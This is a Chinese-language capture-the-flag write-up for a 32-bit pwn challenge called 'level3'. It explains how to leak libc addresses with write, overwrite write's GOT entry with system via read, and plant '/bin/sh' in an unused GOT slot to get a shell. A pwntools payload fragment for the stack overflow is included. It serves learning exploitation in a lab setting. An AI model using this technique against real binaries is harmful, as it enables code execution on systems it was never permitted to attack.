PS:
libc.so中对应的函数的偏移和程序中的got表的偏移是对应的在这种套路的题目中:
主要思路,通过泄露地址和相对偏移,计算systemgot表的位置,然后再一直调用了的函数(题目中是write)的plt表中将指向的got表项改成system的,如果程序还会指执行原本的函数,那么在修改之后就会调用system函数,就达到了我们要的结果
程序在本机调试的时候,要注意用的libc.so的库不一样,所以在写exp的时候,我们要先用我们本机中的libc.so中的数据调试,在进行提交的时候,将相应的偏移量改成题目中给的libc.so的
先拿到文件,可以明显的看到.rar,虽然还有后面的一部分,但是实际上还是rar
我们还是用file看一下
然后我们修改后缀名,解压压缩包,得到一个可执行文件(level3和一个libc-2.19.so)
同时为了便于调试,我们通过ldd查看程序调用的是本机的哪个libc,并且把这个库复制的我们当前文件夹下
在exp中,我们需要将整个程序运行两次——第一次用来泄露信息,第二次进行system的调用(借鉴之前的sctf-pwn200的思路)
第一次用write和read函数来进行地址的泄露和plt表的修改,然后通过在vulnerable函数调用完成之后返回main函数,进行第二次运行,因为在第一次的时候,plt表已经改写成system的地址,所以在write或者read调用的时候实际上调用的是system,所以拿到shell
checksec:
got表是可写的
然后可以看到 got表是可以改写的
整个函数可以改写的部分是最后一栏
这就说明我们如果需要在程序中写一些我们需要的数据,就可以写在这个地方,然后传这个数据的地址,只要覆盖的不是我们需要用到的数据,一般got表是可以写的。
思路:
填满栈——覆盖返回地址——执行write泄露地址——read将write的got表写成system——在我们不需要的got表项中写入system的参数,/bin/sh
准备工作:
填满栈
覆盖ebp
计算偏移
泄露地址,改写got表(system和/bin/sh)
payload1 = 'a'*0x88payload1 += p32(buf)#ebppayload1 += p32(write_plt)#payload1 += p32(pop4)payload1 += '\x01\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'payload1 += p32(buf)#ebppayload1 += p32(read_plt)payload1 += p32(pop4)payload1 += '\x00\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'payload1 += p32(buf)#ebppayload1 += p32(read_plt)payload1 += p32(pop4)payload1 += '\x00\x00\x00\x00' + p32(bin_sh_addr) + '\x08\x00\x00\x00'payload1 += p32(function)#ebp
调用system
payload1 += p32(write_plt)payload1 += p32(write_plt)payload1 += p32(bin_sh_addr)
注意在调用system的时候,要传入参数的地址——在exp文件中可以将需要的参数用io.send()发过去,或者是在io.interactive()中写进去——一样的,本质都是讲输入的写到我们传给system的参数的哪个地址中,并且在执行system的时候,将这个地址的内容当做参数
注意,在一般改写got表中,我们将地址改成另一个地址——只要0x04个字节,但是如果我们要写的是命令的话,长度可能长度就不一样了,所以在实际情况中,我们需要适当的改长度,不然会出错
在连接到远程的时候,注意端口号不要写错了,蠢哭。。。